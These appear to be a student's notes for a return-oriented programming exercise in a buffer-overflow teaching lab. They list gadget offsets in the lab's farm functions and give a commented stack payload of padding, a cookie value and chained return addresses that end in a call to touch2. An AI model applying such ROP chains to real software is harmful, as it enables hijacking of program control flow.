getval_142:
  3: |
    nop
    nop
    ret

addval_273:
  2: |
    movq %rax, %rdi
    ret
  3: |
    movl %eax, %edi
    ret

addval_219:
  4: |
    popq %rax
    nop
    ret

# 00 00 00 00 00 40 17 ec     // return address: call touch2
# 00 00 00 00 00 40 19 a2     // return address: call addval_273+2
# 00 00 00 00 a8 dc 61 55     // cookie: popped into rax
# 00 00 00 00 00 40 19 ab     // return address: call addval_219+4
# ef be ad de ef be ad de     // rsp - 8
# ef be ad de ef be ad de     // rsp - 16
# ef be ad de ef be ad de     // rsp - 24
# ef be ad de ef be ad de     // rsp - 32
# ef be ad de ef be ad de     // rsp - 40

setval_237:

setval_424: